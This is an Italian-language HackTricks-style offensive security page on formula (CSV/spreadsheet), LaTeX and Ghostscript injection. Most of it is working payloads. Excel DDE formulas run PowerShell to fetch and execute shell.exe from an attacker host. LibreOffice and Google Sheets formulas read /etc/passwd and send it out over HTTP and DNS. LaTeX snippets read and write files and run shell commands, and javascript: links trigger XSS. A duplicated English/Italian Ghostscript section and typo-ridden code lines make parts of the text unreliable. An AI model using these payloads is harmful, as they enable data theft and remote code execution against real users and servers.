Formula/CSV/Doc/LaTeX/GhostScript Injection

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Try Hard Security Group


Iniezione di Formula

Info

Se il tuo input viene riflesso all'interno di file CSV (o di qualsiasi altro file che probabilmente verrà aperto da Excel), potresti essere in grado di inserire formule Excel che verranno eseguite quando l'utente apre il file o quando l'utente clicca su qualche link all'interno del foglio di calcolo di Excel.

Oggi Excel avviserà (più volte) l'utente quando qualcosa viene caricato da fuori Excel per evitare che compia azioni dannose. Pertanto, è necessario applicare uno sforzo speciale sull'Ingegneria Sociale per il payload finale.

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

L'esempio seguente è molto utile per esfiltrare contenuti dal foglio di calcolo finale ed effettuare richieste a posizioni arbitrarie. Ma richiede che l'utente faccia clic sul link (e accetti i promemoria di avviso).

L'esempio seguente è stato preso da https://payatu.com/csv-injection-basic-to-exploit

Immagina una violazione della sicurezza in un sistema di gestione dei record degli studenti sfruttata attraverso un attacco di iniezione CSV. L'intenzione principale dell'attaccante è compromettere il sistema utilizzato dagli insegnanti per gestire i dettagli degli studenti. Il metodo coinvolge l'attaccante nell'iniettare un payload dannoso nell'applicazione, specificamente inserendo formule dannose nei campi destinati ai dettagli degli studenti. L'attacco si sviluppa come segue:

  1. Iniezione del Payload Dannoso:

  • L'attaccante invia un modulo di dettagli degli studenti ma include una formula comunemente usata nei fogli di calcolo (ad esempio, =HYPERLINK("<malicious_link>","Clicca qui")).

  • Questa formula è progettata per creare un collegamento ipertestuale, ma punta a un server dannoso controllato dall'attaccante.

  1. Esportazione dei Dati Compromessi:

  • Gli insegnanti, ignari del compromesso, utilizzano la funzionalità dell'applicazione per esportare i dati in un file CSV.

  • Il file CSV, una volta aperto, contiene ancora il payload dannoso. Questo payload appare come un collegamento ipertestuale cliccabile nel foglio di calcolo.

  1. Scatenare l'Attacco:

  • Un insegnante fa clic sul collegamento ipertestuale, credendo che faccia parte legittima dei dettagli dello studente.

  • Cliccando, i dati sensibili (potenzialmente inclusi nei dettagli del foglio di calcolo o del computer dell'insegnante) vengono trasmessi al server dell'attaccante.

  1. Registrazione dei Dati:

  • Il server dell'attaccante riceve e registra i dati sensibili inviati dal computer dell'insegnante.

  • L'attaccante può quindi utilizzare questi dati per vari scopi maliziosi, compromettendo ulteriormente la privacy e la sicurezza degli studenti e dell'istituzione.

RCE

Controlla il post originale per ulteriori dettagli.

In configurazioni specifiche o versioni più vecchie di Excel, una funzionalità chiamata Dynamic Data Exchange (DDE) può essere sfruttata per eseguire comandi arbitrari. Per sfruttare questo, le seguenti impostazioni devono essere abilitate:

  • Vai su File → Opzioni → Centro protezione → Impostazioni del Centro protezione → Contenuto esterno, e abilita Avvio server Dynamic Data Exchange.

Quando un foglio di calcolo con il payload dannoso viene aperto (e se l'utente accetta gli avvisi), il payload viene eseguito. Ad esempio, per avviare l'applicazione della calcolatrice, il payload sarebbe:

=cmd|' /C calc'!xxx

Ulteriori comandi possono essere eseguiti, come ad esempio scaricare ed eseguire un file utilizzando PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Inclusione di File Locale (LFI) in LibreOffice Calc

LibreOffice Calc può essere utilizzato per leggere file locali ed esfiltrare dati. Ecco alcuni metodi:

  • Leggere la prima riga dal file locale /etc/passwd: ='file:///etc/passwd'#$passwd.A1

  • Esfiltrare i dati letti a un server controllato dall'attaccante: =WEBSERVICE(CONCATENATE("http://<IP dell'attaccante>:8080/",('file:///etc/passwd'#$passwd.A1)))

  • Esfiltrare più di una riga: =WEBSERVICE(CONCATENATE("http://<IP dell'attaccante>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

  • Esfiltrazione DNS (invio dei dati letti come query DNS a un server DNS controllato dall'attaccante): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<dominio dell'attaccante>"))

Google Sheets per l'Esfiltrazione Dati Out-of-Band (OOB)

Google Sheets offre funzioni che possono essere sfruttate per l'esfiltrazione dati OOB:

  • CONCATENATE: Concatena le stringhe insieme - =CONCATENATE(A2:E2)

  • IMPORTXML: Importa dati da tipi di dati strutturati - =IMPORTXML(CONCAT("http://<IP dell'attaccante:Porta>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

  • IMPORTFEED: Importa feed RSS o ATOM - =IMPORTFEED(CONCAT("http://<IP dell'attaccante:Porta>//123.txt?v=", CONCATENATE(A2:E2)))

  • IMPORTHTML: Importa dati da tabelle HTML o liste - =IMPORTHTML (CONCAT("http://<IP dell'attaccante:Porta>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

  • IMPORTRANGE: Importa un intervallo di celle da un'altra cartella di lavoro - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID del Foglio]", "foglio1!A2:E2")

  • IMAGE: Inserisce un'immagine in una cella - =IMAGE("https://<IP dell'attaccante:Porta>/images/srpr/logo3w.png")

Iniezione LaTeX

Di solito i server che si trovano su internet che convertire il codice LaTeX in PDF usano pdflatex. Questo programma utilizza 3 attributi principali per (dis)abilitare l'esecuzione dei comandi:

  • --no-shell-escape: Disabilita il costrutto \write18{comando}, anche se è abilitato nel file texmf.cnf.

  • --shell-restricted: Come --shell-escape, ma limitato a un insieme 'sicuro' di comandi predefiniti (**Su Ubuntu 16.04 l'elenco si trova in /usr/share/texmf/web2c/texmf.cnf).

  • --shell-escape: Abilita il costrutto \write18{comando}. Il comando può essere qualsiasi comando shell. Questo costrutto è normalmente disabilitato per motivi di sicurezza.

Tuttavia, ci sono altri modi per eseguire comandi, quindi per evitare RCE è molto importante utilizzare --shell-restricted.

Leggi file

Potresti aver bisogno di regolare l'iniezione con wrapper come [ o $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Leggi file su una singola riga

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Leggi file a più righe

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Scrivere file

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Esecuzione del comando

L'input del comando verrà reindirizzato su stdin, utilizzare un file temporaneo per ottenerlo.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
### Ghostscript Injection in CSV and LaTeX Formula

#### Description:

A common technique used to exploit CSV to LaTeX formula conversion is by injecting Ghostscript commands. Ghostscript is a powerful interpreter for PostScript and PDF files and can be abused to execute arbitrary commands on the system.

#### Attack Scenario:

1. An attacker crafts a malicious CSV file containing the Ghostscript injection payload.
2. The CSV file is uploaded to a web application that converts CSV formulas to LaTeX for rendering.
3. The application processes the CSV file and converts the formula to LaTeX without proper validation.
4. The Ghostscript injection gets executed during the LaTeX compilation process, leading to command execution on the server.

#### Impact:

- Remote code execution on the server hosting the web application.
- Complete compromise of the server and potential pivot to other parts of the network.

#### Mitigation:

- Implement strict input validation when processing CSV files.
- Avoid direct conversion of CSV formulas to LaTeX without sanitization.
- Use secure libraries and tools for converting CSV to LaTeX to prevent injection attacks.
### Iniezione di Ghostscript in CSV e Formula LaTeX

#### Descrizione:

Una tecnica comune utilizzata per sfruttare la conversione di formule CSV in LaTeX è l'iniezione di comandi Ghostscript. Ghostscript è un potente interprete per file PostScript e PDF e può essere abusato per eseguire comandi arbitrari sul sistema.

#### Scenario di Attacco:

1. Un attaccante crea un file CSV dannoso contenente il payload di iniezione Ghostscript.
2. Il file CSV viene caricato su un'applicazione web che converte le formule CSV in LaTeX per il rendering.
3. L'applicazione elabora il file CSV e converte la formula in LaTeX senza una valida validazione.
4. L'iniezione di Ghostscript viene eseguita durante il processo di compilazione di LaTeX, portando all'esecuzione di comandi sul server.

#### Impatto:

- Esecuzione remota di codice sul server che ospita l'applicazione web.
- Compromissione completa del server e potenziale pivot verso altre parti della rete.

#### Mitigazione:

- Implementare una rigorosa validazione dell'input durante l'elaborazione dei file CSV.
- Evitare la conversione diretta delle formule CSV in LaTeX senza sanificazione.
- Utilizzare librerie e strumenti sicuri per convertire CSV in LaTeX per prevenire attacchi di iniezione.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Da @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Iniezione di Ghostscript

Verifica https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Riferimenti

Try Hard Security Group

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated